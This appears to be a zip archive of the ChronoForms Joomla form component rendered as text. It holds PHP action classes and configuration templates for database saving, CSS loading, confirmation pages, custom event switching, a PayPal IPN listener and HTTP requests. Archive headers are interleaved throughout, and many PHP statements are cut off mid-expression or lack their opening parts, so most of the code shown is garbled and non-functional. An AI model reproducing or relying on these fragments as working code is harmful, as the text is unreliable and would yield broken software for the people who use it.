      If you don't know what to do then leave it as NO")); ?> input('action_db_save_{n}_params_fields_config', array('type' => 'text', 'label' => "Parameters Fields", 'class' => 'big_input', 'smalldesc' => "List of form fields names which will be treated as Joomla Parameters fields when processed, those fields should be always of type Array, leave empty if you don't know how to use this.")); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_db_save_{n}_ndb_enable_config', array('type' => 'select', 'label' => 'Save to Different Database', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "This action saves to the default Joomla database by default, but you may choose to save the data to a different database.
      If you don't know what to do then leave it as NO")); ?> input('action_db_save_{n}_ndb_driver_config', array('type' => 'text', 'label' => "DB Driver", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "mysql or mysqli")); ?> input('action_db_save_{n}_ndb_host_config', array('type' => 'text', 'label' => "DB Host", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "usually: localhost")); ?> input('action_db_save_{n}_ndb_user_config', array('type' => 'text', 'label' => "DB User", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The user name which has access to the database")); ?> input('action_db_save_{n}_ndb_password_config', array('type' => 'text', 'label' => "DB User's Password", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "the user's password")); ?>
      input('action_db_save_{n}_ndb_database_config', array('type' => 'text', 'label' => "DB Name", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "the database name")); ?> input('action_db_save_{n}_ndb_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The db table to which the data will be saved.")); ?> input('action_db_save_{n}_ndb_prefix_config', array('type' => 'text', 'label' => "DB Table Prefix", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "the tables' prefix, joomla uses the jos_ prefix usually, but your database may be using something different.")); ?> tabEnd(); ?>
      PK@y>\-uuFcomponents/com_chronoforms/form_actions/load_css/cfaction_load_css.ctpnuW+Aload($form, $actiondata); ?>PK@y>\):components/com_chronoforms/form_actions/load_css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\8~Fcomponents/com_chronoforms/form_actions/load_css/cfaction_load_css.phpnuW+A'.$actiondata->content1); $output .= ob_get_clean(); ob_start(); ?> addStyleDeclaration($script); } } ?>PK@y>\ ;components/com_chronoforms/form_actions/load_css/index.htmlnuW+A PK@y>\<~__=components/com_chronoforms/form_actions/load_css/load_css.ctpnuW+A
      Load CSS
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'load_css_config_{n}'); ?> tabStart('settings'); ?> input('action_load_css_{n}_content1_config', array('type' => 'textarea', 'label' => "CSS code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'CSS code withOUT syle tags.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Mainly should be used for CSS code, do NOT use style tags here.
      • You may use PHP code with php tags.

      tabEnd(); ?>
      PK@y>\1=components/com_chronoforms/form_actions/load_css/load_css.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $details = array('title' => 'Load CSS', 'tooltip' => 'Process and load custom CSS code in the form page.'); function load($clear){ if($clear){ $action_params = array('content1' => ''); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PK@y>\DVϸ44Qcomponents/com_chronoforms/form_actions/add_system_message/add_system_message.phpnuW+A 'Add System Message', 'tooltip' => 'Add a global system message to the system, similar to the messages you get when you save a new Joomla article.'); var $group = array('id' => 'form_utilities', 'title' => 'Utilities'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); switch($params->get('type', 'confirm')){ case "warning": JError::raiseWarning(100, $params->get('message', '')); break; case "notice": JError::raiseNotice(100, $params->get('message', '')); break; case "error": JError::raiseError(100, $params->get('message', '')); break; case "confirm": $mainframe->enqueueMessage($params->get('message', '')); break; } } function load($clear){ if($clear){ $action_params = array( 'message' => '', 'type' => 'confirm' ); } return array('action_params' => $action_params); } } ?>PK@y>\)Dcomponents/com_chronoforms/form_actions/add_system_message/.htaccessnuW+A Order allow,deny Deny from all PK@y>\aQcomponents/com_chronoforms/form_actions/add_system_message/add_system_message.ctpnuW+A
      Add System Message
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'add_system_message_config_{n}'); ?> tabStart('settings'); ?> input('action_add_system_message_{n}_type_config', array('type' => 'select', 'label' => 'Message Type', 'options' => array('confirm' => 'Confirm', 'notice' => 'Notice', 'warning' => 'Warning', 'error' => 'Error'), 'smalldesc' => 'Select the message type.')); ?> input('action_add_system_message_{n}_message_config', array('type' => 'text', 'label' => "Message Text", 'class' => 'medium_input', 'smalldesc' => 'The contents of your message to be shown.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action should help you display a system message (similar to the admin system messages displayed when you save a new user/article/form..etc).

      tabEnd(); ?>
      PK@y>\Ecomponents/com_chronoforms/form_actions/add_system_message/index.htmlnuW+APK@y>\)Ccomponents/com_chronoforms/form_actions/confirmation_page/.htaccessnuW+A Order allow,deny Deny from all PK@y>\oiOcomponents/com_chronoforms/form_actions/confirmation_page/confirmation_page.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $events = array('confirm' => 0, 'back' => 0, 'show' => 0); var $details = array('title' => 'Confirmation Page', 'tooltip' => 'Displays a confirmation page which asks the users for their confirmation before proceeding, may conflict with "Anti SPAM" tools.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); if(isset($_POST['confirmation_page'])){ if($_POST['confirmation_page'] == '_confirm'){ $this->events['confirm'] = 1; }else if($_POST['confirmation_page'] == '_back'){ $this->events['back'] = 1; } }else{ //show confimration page event $this->events['show'] = 1; } } function load($clear){ if($clear){ $action_params = array( 'buttons' => 1, 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\aVXcomponents/com_chronoforms/form_actions/confirmation_page/cfaction_confirmation_page.phpnuW+Aparams); $output = '
      '; $output .= $actiondata->content1; if(!isset($_POST['confirmation_page'])){ $buttons_code = ' '; if((int)$params->get('buttons', 1) == 1){ $output .= $buttons_code; } ob_start(); eval("?>".$output); $output = ob_get_clean(); $output .= '
      '; return $form->curly_replacer($output, $form->data); } } function selfURL(){ $uri = JURI::getInstance(); $inbetween = ''; if($uri->getQuery())$inbetween = '?'; return $uri->current().$inbetween.$uri->getQuery(); } } ?>PK@y>\ Dcomponents/com_chronoforms/form_actions/confirmation_page/index.htmlnuW+A PK@y>\SFXcomponents/com_chronoforms/form_actions/confirmation_page/cfaction_confirmation_page.ctpnuW+AloadAction($form, $actiondata); ?>PK@y>\Am]m m Ocomponents/com_chronoforms/form_actions/confirmation_page/confirmation_page.ctpnuW+A
      Confirmation Page
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'confirmation_page_config_{n}'); ?> tabStart('settings'); ?> input('action_confirmation_page_{n}_buttons_config', array('type' => 'select', 'label' => 'Enable Buttons', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should the plugin add the 2 confirm and back buttons to the end of the page ?')); ?> input('action_confirmation_page_{n}_content1_config', array('type' => 'textarea', 'label' => "Page Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'any code can be placed here, any PHP code should include the PHP tags, fields names inside curly brackets will be replaced by their values.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You may use PHP code with php tags.
      • You may use any field name inside 2 curly brackets.
      • You may add your own buttons code and disable the buttons option, both your button names should equal "confirmation_page", your back button value should = "_back" and your confirm/submit button value should = "_confirm".

      tabEnd(); ?>
      PK@y>\#pScomponents/com_chronoforms/form_actions/custom_event_switch/custom_event_switch.ctpnuW+A
      Custom Event Switcher
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'custom_event_switch_config_{n}'); ?> tabStart('settings'); ?>

      input('action_custom_event_switch_{n}_events_config', array('type' => 'text', 'label' => 'Events list', 'class' => 'big_input', 'smalldesc' => 'Comma separated list of events, no spaces.')); ?> input('action_custom_event_switch_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'The code here should return the deisred event name to be processed as a string.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You should use PHP code with php tags.
      • Your code should return a string containing the event name to be processed, e.g: return "success";

      tabEnd(); ?>
      PK@y>\ Fcomponents/com_chronoforms/form_actions/custom_event_switch/index.htmlnuW+A PK@y>\#9Scomponents/com_chronoforms/form_actions/custom_event_switch/custom_event_switch.phpnuW+A 0, 'fail' => 0); var $group = array('id' => '1_validation', 'title' => 'Validation'); var $details = array('title' => 'Custom Event Switcher', 'tooltip' => 'Run PHP code and switch the execution path based on the result.'); function run($form, $actiondata){ $code = $actiondata->content1; $return = eval('?>'.$code); $this->events[$return] = 1; } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'events' => 'success,fail', ); } return array('action_params' => $action_params); } } ?>PK@y>\)Ecomponents/com_chronoforms/form_actions/custom_event_switch/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Bcomponents/com_chronoforms/form_actions/paypal_listener/index.htmlnuW+APK@y>\)Acomponents/com_chronoforms/form_actions/paypal_listener/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Ǩ Kcomponents/com_chronoforms/form_actions/paypal_listener/paypal_listener.ctpnuW+A
      PayPal Listener - Trial
      Header(array('config' => 'Config', 'help' => 'Help'), 'paypal_listener_config_{n}'); ?> tabStart('config'); ?> input('action_paypal_listener_{n}_sandbox_config', array('type' => 'select', 'label' => 'Use Sandbox', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Do you need a testing redirection to the PayPal Sandbox ?')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will process the response coming from the Paypal IPN for some transaction.
      • You should have the IPN enabled under your Paypal account settings and set the "notify url" to the url to the form event loading this action.
      • The Verified event is when PayPal verifies that the data processed belongs to your account and the payment status is Completed, Invalid means that its some kind of spam, Error means that your server doesn't have the fsockopen function enabled!.

      tabEnd(); ?>
      PK@y>\U~Kcomponents/com_chronoforms/form_actions/paypal_listener/paypal_listener.phpnuW+A 'payments', 'title' => 'Payment Gateways/Processors'); var $events = array('verified' => 0, 'invalid' => 0, 'error' => 0); var $details = array('title' => 'PayPal Listener', 'tooltip' => 'Process the PayPal IPN response.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); // read the post from PayPal system and add 'cmd' $req = 'cmd=_notify-validate'; foreach ($_POST as $key => $value) { $value = urlencode(stripslashes($value)); $req .= "&$key=$value"; } $header = "POST /cgi-bin/webscr HTTP/1.1\r\n";//$header = "POST /cgi-bin/webscr HTTP/1.0\r\n"; // If testing on Sandbox use: if((bool)$params->get('sandbox') === true){ $header .= "Host: www.sandbox.paypal.com:443\r\n"; }else{ $header .= "Host: www.paypal.com:443\r\n"; } $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($req) . "\r\n\r\n"; $fp = null; //new change /* if((bool)$params->get('sandbox') === true){ $fp = fsockopen('ssl://www.sandbox.paypal.com', 443, $errno, $errstr, 30); }else{ $fp = fsockopen('ssl://www.paypal.com', 443, $errno, $errstr, 30); } */ // assign posted variables to local variables /*$item_name = $_POST['item_name']; $item_number = $_POST['item_number']; $payment_status = $_POST['payment_status']; $payment_amount = $_POST['mc_gross']; $payment_currency = $_POST['mc_currency']; $txn_id = $_POST['txn_id']; $receiver_email = $_POST['receiver_email']; $payer_email = $_POST['payer_email'];*/ if(!$fp){ // HTTP ERROR //user CURL $curl_result = $curl_err = ''; $ch = curl_init(); if((bool)$params->get('sandbox') === true){ curl_setopt($ch, CURLOPT_URL, 'https://www.sandbox.paypal.com/cgi-bin/webscr'); }else{ curl_setopt($ch, CURLOPT_URL, 'https://www.paypal.com/cgi-bin/webscr'); } //new change curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); /* curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $req); curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/x-www-form-urlencoded", "Content-Length: " . strlen($req))); curl_setopt($ch, CURLOPT_HEADER , 0); curl_setopt($ch, CURLOPT_VERBOSE, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); */ //curl_setopt($ch, CURLOPT_URL, 'https://www.paypal.com/cgi-bin/webscr'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POSTFIELDS, $req); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: www.paypal.com')); $curl_result = @curl_exec($ch); $curl_err = curl_error($ch); curl_close($ch); //Set validation flag if(!$curl_result){ //both fsock and curl failed! $this->events['error'] = 1; }else{ if(strpos($curl_result, "VERIFIED") !== false){ $valid = true; $this->set_events($valid, $form); }else{ $valid = false; $this->set_events($valid, $form); } } }else{ fputs ($fp, $header . $req); while(!feof($fp)){ $res = fgets ($fp, 1024); if(strcmp($res, "VERIFIED") == 0){ // check the payment_status is Completed // check that txn_id has not been previously processed // check that receiver_email is your Primary PayPal email // check that payment_amount/payment_currency are correct // process payment $valid = true; $this->set_events($valid, $form); }else if(strcmp ($res, "INVALID") == 0){ // log for manual investigation $valid = false; $this->set_events($valid, $form); }else{ //$this->events['invalid'] = 1;//delete } } fclose($fp); } } function set_events($valid = false, $form){ if($valid){ if($form->data['payment_status'] == 'Completed'){ $this->events['verified'] = 1; } //$this->events['invalid'] = 1;//delete }else{ $this->events['invalid'] = 1; } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'sandbox' => 0 ); } return array('action_params' => $action_params); } } ?>PK@y>\q\tEcomponents/com_chronoforms/form_actions/http_request/http_request.phpnuW+A 'redirect', 'title' => 'Redirect/Remote Submit'); var $details = array('title' => 'HTTP Request', 'tooltip' => 'Initiate an HTTP request call.'); function load($clear){ if($clear){ $action_params = array( 'enabled' => 0, 'http_request_url' => '', 'request_event' => 'submit', 'response_element_id' => '', 'event_element_id' => '', 'onrequest_fn' => '', 'onsuccess_fn' => '', 'onfailure_fn' => '', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ ob_start(); ?> function(){ $('chronoform_form_name; ?>').removeClass('hasValidation'); request_caller_id; ?>(); } form_details->params); $form_params->set('jsvalidation_onValidateSuccess', $jsvalidation_onValidateSuccess); $form->form_params->set('jsvalidation_onValidateSuccess', $jsvalidation_onValidateSuccess); $form->form_details->params = $form_params->toString(); } } ?>PK@y>\ MdEcomponents/com_chronoforms/form_actions/http_request/http_request.ctpnuW+A
      HTTP Request
      Header(array('settings' => 'Settings', 'advanced' => 'Advanced', 'help' => 'Help'), 'http_request_config_{n}'); ?> tabStart('settings'); ?> input('action_http_request_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabel HTTP Request', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Enable the form to initiate an HTTP request before its submitted, example, the form atcion may be set to PayPal but you want to run the submission routine before moving to PayPal.')); ?> input('action_http_request_{n}_http_request_url_config', array('type' => 'text', 'label' => "HTTP Request URL", 'class' => 'big_input', 'smalldesc' => "The url to which the HTTP request call will be made, usually the same form url but ends with &event=submit")); ?> input('action_http_request_{n}_request_event_config', array('type' => 'select', 'label' => 'Request Event', 'options' => array('submit' => "Form's onSubmit", 'click' => 'onClick', 'change' => 'onChange'), 'smalldesc' => 'The event at which the request will be triggered, this is a browser side event, please do not mix with server side forms events.')); ?> input('action_http_request_{n}_event_element_id_config', array('type' => 'text', 'label' => "Event Element ID", 'class' => 'medium_input', 'smalldesc' => "The id of the element which will have the event to be used, leave empty iof you select the onSubmit.")); ?> input('action_http_request_{n}_response_element_id_config', array('type' => 'text', 'label' => "Response Element ID", 'class' => 'medium_input', 'smalldesc' => "The id of the element which will be loaded with the response string when the request is completed with success.")); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_http_request_{n}_onrequest_fn_config', array('type' => 'text', 'label' => "On Request Function name", 'class' => 'medium_input', 'smalldesc' => "A JS function name to run when the request is sent, please add the 2 brackets at the end, e.g: myfn()")); ?> input('action_http_request_{n}_onsuccess_fn_config', array('type' => 'text', 'label' => "On Success Function name", 'class' => 'medium_input', 'smalldesc' => "A JS function name to run when the request is completed successfully, please add the 2 brackets at the end, e.g: myfn()")); ?> input('action_http_request_{n}_onfailure_fn_config', array('type' => 'text', 'label' => "On Failure Function name", 'class' => 'medium_input', 'smalldesc' => "A JS function name to run when the request has failed, please add the 2 brackets at the end, e.g: myfn()")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Sometimes we need to submit our form to 2 different URLs, this was hard to do, the only way to do this was to use the CURL library, however, this action should allow this to be done now.
      • For example, set your form's action URL to PayPal, Moneybookers or SugarCRM..etc and use this HTTP Request to communicate with one of your form events, or vice versa.
      • If you want to disable the form submission, add this code to the "Form tag attachment" field: onSubmit="return false;"

      tabEnd(); ?>
      PK@y>\ ?components/com_chronoforms/form_actions/http_request/index.htmlnuW+A PK@y>\#P Ncomponents/com_chronoforms/form_actions/http_request/cfaction_http_request.phpnuW+Aparams); $document = JFactory::getDocument(); //create the JS function ob_start(); ?> //id; ?> = function(){ var myForm = $('chronoform_form_name; ?>'); if(myForm.hasClass('hasValidation') == get('request_event', 'submit') == 'submit') ? "false" : "true"; ?>){ myForm.set('send', { url: 'get('http_request_url', ''); ?>', method: 'post', async: false, onRequest: function(){ get('onrequest_fn'))) > 0){ echo trim($params->get('onrequest_fn')).";"; } ?> }, onSuccess: function(responseText, responseXML){ get('response_element_id', ''))): ?> $('get('response_element_id', '')); ?>').set('html', responseText); get('onsuccess_fn'))) > 0){ echo trim($params->get('onsuccess_fn')).";"; } ?> }, onFailure: function(xhr){ get('onfailure_fn'))) > 0){ echo trim($params->get('onfailure_fn')).";"; } ?> } }); myForm.send('get('http_request_url', ''); ?>'); } } window.addEvent('domready', function() { get('request_event', 'submit') == 'submit'): ?> if($('chronoform_form_name; ?>').hasClass('hasValidation') == false){ $('chronoform_form_name; ?>').addEvent('submit', request_caller_id; ?>); } $('get('event_element_id', ''); ?>').addEvent('get('request_event', 'submit'); ?>', request_caller_id; ?>); }); //]]> addScriptDeclaration($script); } } ?>PK@y>\)>components/com_chronoforms/form_actions/http_request/.htaccessnuW+A Order allow,deny Deny from all PK@y>\eN\{Ncomponents/com_chronoforms/form_actions/http_request/cfaction_http_request.ctpnuW+AloadAction($form, $actiondata); ?>PK@y>\cacomponents/com_chronoforms/form_actions/chrono_connectivity_return/chrono_connectivity_return.ctpnuW+A
      Chrono Connectivity Return to App
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'chrono_connectivity_return_config_{n}'); ?> tabStart('settings'); ?> input('action_chrono_connectivity_return_{n}_purge_old_data_config', array('type' => 'select', 'label' => "Purge Old Data", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should the action remove the session data of the current last executed action before redirecting back to the main connection page ?')); ?> input('action_chrono_connectivity_return_{n}_connection_name_config', array('type' => 'text', 'label' => "Connection Name", 'class' => 'medium_input', 'smalldesc' => 'Leave empty for auto integration, if no connection name is passed for this action then this will be used.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action will return the user to last page where they left the connection.

      tabEnd(); ?>
      PK@y>\)Lcomponents/com_chronoforms/form_actions/chrono_connectivity_return/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Kacomponents/com_chronoforms/form_actions/chrono_connectivity_return/chrono_connectivity_return.phpnuW+A 'Chrono Connectivity Return', 'tooltip' => 'Return to the Connection listing page.'); var $group = array('id' => 'x_chronoforms_apps', 'title' => 'ChronoForms Apps'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); if(trim($params->get('connection_name', '')) != ''){ $received_data = array( 'connection_name' => $params->get('connection_name', '') ); $this->processData($received_data); }else if(isset($form->data['apps_data']['ChronoConnectivity']['action_'.$actiondata->order])){ $received_data = $form->data['apps_data']['ChronoConnectivity']['action_'.$actiondata->order]; if(isset($received_data['connection_name'])){ $this->processData($received_data); } } } function processData($received_data = array()){ $mainframe = JFactory::getApplication(); $connection_name = $received_data['connection_name']; require_once(JPATH_SITE.DS.'components'.DS.'com_chronoconnectivity'.DS.'libraries'.DS.'chronoconnection.php'); $MyConnection = CFChronoConnection::getInstance($connection_name); /*$redirect = $MyConnection->connection_url; if($MyConnection->connection_area != 'admin'){ //$redirect = JRoute::_($MyConnection->connection_url, true); }*/ $mainframe->redirect(JRoute::_($MyConnection->connection_url, false)); } function load($clear){ if($clear){ $action_params = array( 'connection_name' => '', 'purge_old_data' => 1, ); } return array('action_params' => $action_params); } } ?>PK@y>\ Mcomponents/com_chronoforms/form_actions/chrono_connectivity_return/index.htmlnuW+A PK@y>\VFF]components/com_chronoforms/form_actions/chrono_connectivity_task/chrono_connectivity_task.phpnuW+A 'Chrono Connectivity Task', 'tooltip' => 'Run a Chrono Connectivity Task.'); var $group = array('id' => 'x_chronoforms_apps', 'title' => 'ChronoForms Apps'); var $events = array('success' => 0, 'fail' => 0); var $params = null; function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $this->params = $params = new JParameter($actiondata->params); if(trim($params->get('connection_name', '')) != '' && trim($params->get('task', '')) != ''){ $received_data = array( 'connection_name' => $params->get('connection_name', ''), 'task' => $params->get('task', ''), 'field_name' => $params->get('field_name', ''), ); if(trim($params->get('data', '')) != '' && isset($form->data[$params->get('data', '')])){ $received_data['data'] = $form->data[$params->get('data', '')]; } $this->processData($form, $actiondata, $received_data); }else if(isset($form->data['apps_data']['ChronoConnectivity']['action_'.$actiondata->order])){ $received_data = $form->data['apps_data']['ChronoConnectivity']['action_'.$actiondata->order]; //print_r2($session_data); if(isset($received_data['task']) && !empty($received_data['task'])){ $this->processData($form, $actiondata, $received_data); }else{ $this->events['fail'] = 1; if((bool)$params->get('show_returned_errors', 0) === true){ $form->validation_errors[] = "Error occurred, session data couldn't be found."; }else{ $form->validation_errors[] = $params->get('error_message', ''); $form->debug['Chrono Connectivity Task'][$actiondata->order] = "Error occurred, session data couldn't be found."; } } } } function processData($form, $actiondata, $received_data = array()){ $params = $this->params; require_once(JPATH_SITE.DS.'components'.DS.'com_chronoconnectivity'.DS.'libraries'.DS.'chronoconnection.php'); $task = $received_data['task']; $connection_name = $received_data['connection_name']; //get the data $data = array(); if(isset($received_data['data'])){ $data = $received_data['data']; } $return = true; //connection instance $MyConnection = CFChronoConnection::getInstance($connection_name); //print_r2(array('task' => $task, 'name' => $connection_name, 'data' => $data)); switch($task){ case 'delete_data': //check permissions $acl_result = $MyConnection->check_permissions('delete', $data); if($acl_result === false){ $MyConnection->permission_deny(); $return = false; break; }else if(is_array($acl_result)){ $data = $acl_result; } //delete records code here $return = $MyConnection->delete_record_data($data); break; case 'save_data': //check permissions $r_id = null; if(is_array($data)){ $form->data = array_merge($form->data, $data); } if(strlen($MyConnection->connection_model_id) > 0){ if(isset($form->data[$MyConnection->connection_model_id][$MyConnection->connection_table_primary]) && !empty($form->data[$MyConnection->connection_model_id][$MyConnection->connection_table_primary])){ $r_id = $form->data[$MyConnection->connection_model_id][$MyConnection->connection_table_primary]; } }else{ if(isset($form->data[$MyConnection->connection_table_primary]) && !empty($form->data[$MyConnection->connection_table_primary])){ $r_id = $form->data[$MyConnection->connection_table_primary]; } } $acl_result = $MyConnection->check_permissions('save', $r_id); if($acl_result === false){ $MyConnection->permission_deny(); $return = false; break; }else if(is_array($acl_result)){ $r_id = $acl_result[0]; } //save/update data $return = $MyConnection->save_action($data); break; case 'edit_data': //check permissions $acl_result = $MyConnection->check_permissions('edit', $data); if($acl_result === false){ $MyConnection->permission_deny(); $return = false; break; }else if(is_array($acl_result)){ $data = $acl_result[0]; } //edit/load record here $row_data = $MyConnection->read_record_data($data); if(is_array($row_data)){ $form->data = array_merge($row_data, $form->data); } $form = $MyConnection->addFormExtension($form, 'edit'); break; /*case 'binary_data': //check permissions $acl_result = $MyConnection->check_permissions('binary', $data); if($acl_result === false){ $MyConnection->permission_deny(); $return = false; break; }else if(is_array($acl_result)){ $data = $acl_result; } //binary records code here $field_name = $received_data['field_name']; $return = $MyConnection->binary_record_data($field_name, $data); break;*/ case 'list_data': default: //check permissions if($MyConnection->check_permissions('list', $data) === false){ $this->permission_deny(); $return = false; break; } //list records code here $actiondata->content1 = $MyConnection->get_list_output(); break; } //check events if($return === true){ $this->events['success'] = 1; }else{ $this->events['fail'] = 1; if(is_string($return)){ if((bool)$params->get('show_returned_errors', 0) === true){ $form->validation_errors[] = $return; }else{ $form->validation_errors[] = $params->get('error_message', ''); $form->debug['Chrono Connectivity Task'][$actiondata->order] = $return; } } } } function load($clear){ if($clear){ $action_params = array( 'task' => '', 'field_name' => '', 'data' => '', 'connection_name' => '', 'error_message' => 'An error has occurred.', 'show_returned_errors' => 0, 'purge_old_data' => 1, 'purge_data_lifetime' => 15 ); } return array('action_params' => $action_params); } } ?>PK@y>\)Jcomponents/com_chronoforms/form_actions/chrono_connectivity_task/.htaccessnuW+A Order allow,deny Deny from all PK@y>\`g RR]components/com_chronoforms/form_actions/chrono_connectivity_task/chrono_connectivity_task.ctpnuW+A
      Chrono Connectivity Task
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'chrono_connectivity_task_config_{n}'); ?> tabStart('settings'); ?> input('action_chrono_connectivity_task_{n}_connection_name_config', array('type' => 'text', 'label' => "Connection Name", 'class' => 'medium_input', 'smalldesc' => 'Leave empty for auto integration, if no connection name is passed for this action then this will be used.')); ?> input('action_chrono_connectivity_task_{n}_task_config', array('type' => 'select', 'label' => "Task", 'options' => array('list_data' => 'List Data', 'edit_data' => 'Edit/Read Data', 'delete_data' => 'Delete Data', 'save_data' => 'Save Data', 'binary_data' => 'Binary Data'), 'smalldesc' => 'Leave empty for auto integration, if no task is passed for this action then this will be used.')); ?> input('action_chrono_connectivity_task_{n}_data_config', array('type' => 'text', 'label' => "Data field name", 'class' => 'medium_input', 'smalldesc' => 'Leave empty for auto integration, if no data is passed for this action then the value of this field will be used.')); ?> input('action_chrono_connectivity_task_{n}_field_name_config', array('type' => 'text', 'label' => "Field Name", 'class' => 'medium_input', 'smalldesc' => 'Leave empty for auto integration, if no field name is passed for this action then this will be used, useful for "binary" tasks only.')); ?> input('action_chrono_connectivity_task_{n}_error_message_config', array('type' => 'text', 'label' => "Error Message", 'class' => 'medium_input', 'smalldesc' => 'The error message which will be added to the errors/debug (see below) array in case some problem occurred.')); ?> input('action_chrono_connectivity_task_{n}_show_returned_errors_config', array('type' => 'select', 'label' => "Show errors", 'options' => array(0 => 'No (Add to debug only!)', 1 => 'Yes'), 'smalldesc' => 'Should the errors be added to the Errors array (visible to user) or to the Debug messages array ?')); ?> input('action_chrono_connectivity_task_{n}_purge_old_data_config', array('type' => 'select', 'label' => "Purge Old Data", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should the action check and remove any old session data ?')); ?> input('action_chrono_connectivity_task_{n}_purge_data_lifetime_config', array('type' => 'text', 'label' => "Session Data Lifetime", 'class' => 'medium_input', 'smalldesc' => 'The session data life time which will be used to decide if the data is old enough or not.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action will execute a Chrono Connectivity task, e.g: list data, edit, save, delete...etc, the task executed depends on your connection configuration.

      tabEnd(); ?>
      PK@y>\킥fcomponents/com_chronoforms/form_actions/chrono_connectivity_task/cfaction_chrono_connectivity_task.ctpnuW+ArunCode($form, $actiondata); ?>PK@y>\fcomponents/com_chronoforms/form_actions/chrono_connectivity_task/cfaction_chrono_connectivity_task.phpnuW+Aparams); echo $actiondata->content1; } } ?>PK@y>\ Kcomponents/com_chronoforms/form_actions/chrono_connectivity_task/index.htmlnuW+A PK@y>\ Ccomponents/com_chronoforms/form_actions/load_fields_hash/index.htmlnuW+A PK@y>\{Z( ( Mcomponents/com_chronoforms/form_actions/load_fields_hash/load_fields_hash.ctpnuW+A
      Load Fields Hash
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'load_fields_hash_config_{n}'); ?> tabStart('settings'); ?> input('action_load_fields_hash_{n}_fields_config', array('type' => 'text', 'label' => 'Fields list', 'class' => 'big_input', 'smalldesc' => 'Comma separated list of fields, no spaces, you can use dots to get sub arrays values.')); ?> input('action_load_fields_hash_{n}_hash_field_name_config', array('type' => 'text', 'label' => 'Hash field name', 'smalldesc' => '')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action will generate a security hash of some fields values, you can check the hash back in the "on submit" event using the "check fields hash" action.
      • The goal here is to make sure that these fields values have not been changed by the end user after they have been sent by the server.
      • Insert a list of fields names to be hashed.
      • The order of this action in the load routine, should only be when the fields data exist in the $form->data array.
      • Only fields values in the $form->data array will be used, default fields values will NOT be checked and WILL generate a fail error if checked.

      tabEnd(); ?>
